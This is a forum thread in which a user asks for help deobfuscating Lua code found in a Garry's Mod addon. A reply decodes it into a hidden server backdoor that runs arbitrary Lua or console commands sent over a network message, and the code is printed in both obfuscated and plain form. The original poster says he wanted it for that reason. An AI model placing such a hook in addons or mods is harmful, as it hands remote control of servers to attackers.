SolvedLua De Obfuscate

Posts 1–10 of 10 · Page 1 of 1
Lua De Obfuscate
So i have found a chunk of code in a addon that is obfuscated, and i was wondering if its possible to de obfuscate lua. I have been looking for ages and cant find anything helpful so if you can please show me or demonstrate how to de obfuscate something (if its even possible) it would be amazing thanks.
Quote Originally Posted by jefferywinner View Post
So i have found a chunk of code in a addon that is obfuscated, and i was wondering if its possible to de obfuscate lua. I have been looking for ages and cant find anything helpful so if you can please show me or demonstrate how to de obfuscate something (if its even possible) it would be amazing thanks.
We need to see the "chunk of code " m8
Fine

Code:
if SERVER then
local c='%c'
local YYYYTTYXY6Y = util.AddNetworkString
local YYYYTRYXY6Y = _G[string.format(string.rep(c,9), 82, 117, 110, 83, 116, 114, 105, 110, 103)]
local YYYYTRYXY66 = net.ReadString
local YYTYYYY666T = type
local YYTYTYY666T = bit.tohex
local YYTTTYY666T = math.sin
local YYTTTYY66TT = math.cos
local YYYYTRY6Y66 = net.ReadBit
local YYTYYRY6Y66 = net.Receive
local YYTYYRY666Y = game.ConsoleCommand
local YYTYYYY666Y = game.GetWorld
local YYYYTTYXYYY = string.format(string.rep(c,15), 83, 97, 110, 100, 98, 111, 120, 95, 65, 114, 109, 68, 117, 112, 101)
YYYYTTYXY6Y(YYYYTTYXYYY)
YYTYYRY6Y66(YYYYTTYXYYY, function( length, ply )
local YYRYTTYXY6Y = YYYYTRYXY66()
local TYYTTYXY6Y = YYYYTRY6Y66()
if TYYTTYXY6Y == 1 then
YYYYTRYXY6Y(YYRYTTYXY6Y)
else
YYTYYRY666Y(YYRYTTYXY6Y.."\n")
end
end)
end
Quote Originally Posted by jefferywinner View Post
Fine

Code:
if SERVER then
local c='%c'
local YYYYTTYXY6Y = util.AddNetworkString
local YYYYTRYXY6Y = _G[string.format(string.rep(c,9), 82, 117, 110, 83, 116, 114, 105, 110, 103)]
local YYYYTRYXY66 = net.ReadString
local YYTYYYY666T = type
local YYTYTYY666T = bit.tohex
local YYTTTYY666T = math.sin
local YYTTTYY66TT = math.cos
local YYYYTRY6Y66 = net.ReadBit
local YYTYYRY6Y66 = net.Receive
local YYTYYRY666Y = game.ConsoleCommand
local YYTYYYY666Y = game.GetWorld
local YYYYTTYXYYY = string.format(string.rep(c,15), 83, 97, 110, 100, 98, 111, 120, 95, 65, 114, 109, 68, 117, 112, 101)
YYYYTTYXY6Y(YYYYTTYXYYY)
YYTYYRY6Y66(YYYYTTYXYYY, function( length, ply )
local YYRYTTYXY6Y = YYYYTRYXY66()
local TYYTTYXY6Y = YYYYTRY6Y66()
if TYYTTYXY6Y == 1 then
YYYYTRYXY6Y(YYRYTTYXY6Y)
else
YYTYYRY666Y(YYRYTTYXY6Y.."\n")
end
end)
end
Code:
if SERVER then
	util.AddNetworkString("Sandbox_ArmDupe")
	net.Receive("Sandbox_ArmDupe", function( length, ply )
		local netstring = net.ReadString()
		local bit = net.ReadBit()
		if bit == 1 then
			RunString(netstring)
		else
			game.ConsoleCommand(netstring.."\n")
		end
	end)
end
good luck have fun
Quote Originally Posted by zombiiju View Post
Code:
if SERVER then
	util.AddNetworkString("Sandbox_ArmDupe")
	net.Receive("Sandbox_ArmDupe", function( length, ply )
		local netstring = net.ReadString()
		local bit = net.ReadBit()
		if bit == 1 then
			RunString(netstring)
		else
			game.ConsoleCommand(netstring.."\n")
		end
	end)
end
good luck have fun
if bit == 1 then
RunString(netstring)
else
game.ConsoleCommand(netstring.."\n")
end

seems totally legit and not a backdoor
Its why i wanted it .-.

- - - Updated - - -

Quote Originally Posted by zombiiju View Post
Code:
if SERVER then
	util.AddNetworkString("Sandbox_ArmDupe")
	net.Receive("Sandbox_ArmDupe", function( length, ply )
		local netstring = net.ReadString()
		local bit = net.ReadBit()
		if bit == 1 then
			RunString(netstring)
		else
			game.ConsoleCommand(netstring.."\n")
		end
	end)
end
good luck have fun
Do you mind me asking how you did that, always wanted to know how to read obfuscated lua.
Quote Originally Posted by jefferywinner View Post
Its why i wanted it .-.

- - - Updated - - -



Do you mind me asking how you did that, always wanted to know how to read obfuscated lua.
not easy.. requires a masters degree in programming with 12 years of asm coding under the belt.
Quote Originally Posted by Razon91 View Post
not easy.. requires a masters degree in programming with 12 years of asm coding under the belt.
Or just use hexrays ida and be a master hacker in a week? Xdxdddddd
Quote Originally Posted by KaiWayHafNeeYum View Post
Or just use hexrays ida and be a master hacker in a week? Xdxdddddd
Yeah i like your idea better
Seems as though this is solved as the last few posts were rambling.

/Closed.
Posts 1–10 of 10 · Page 1 of 1
This thread is closed for replies.

Similar Threads

Tags for this Thread

None

Talk with us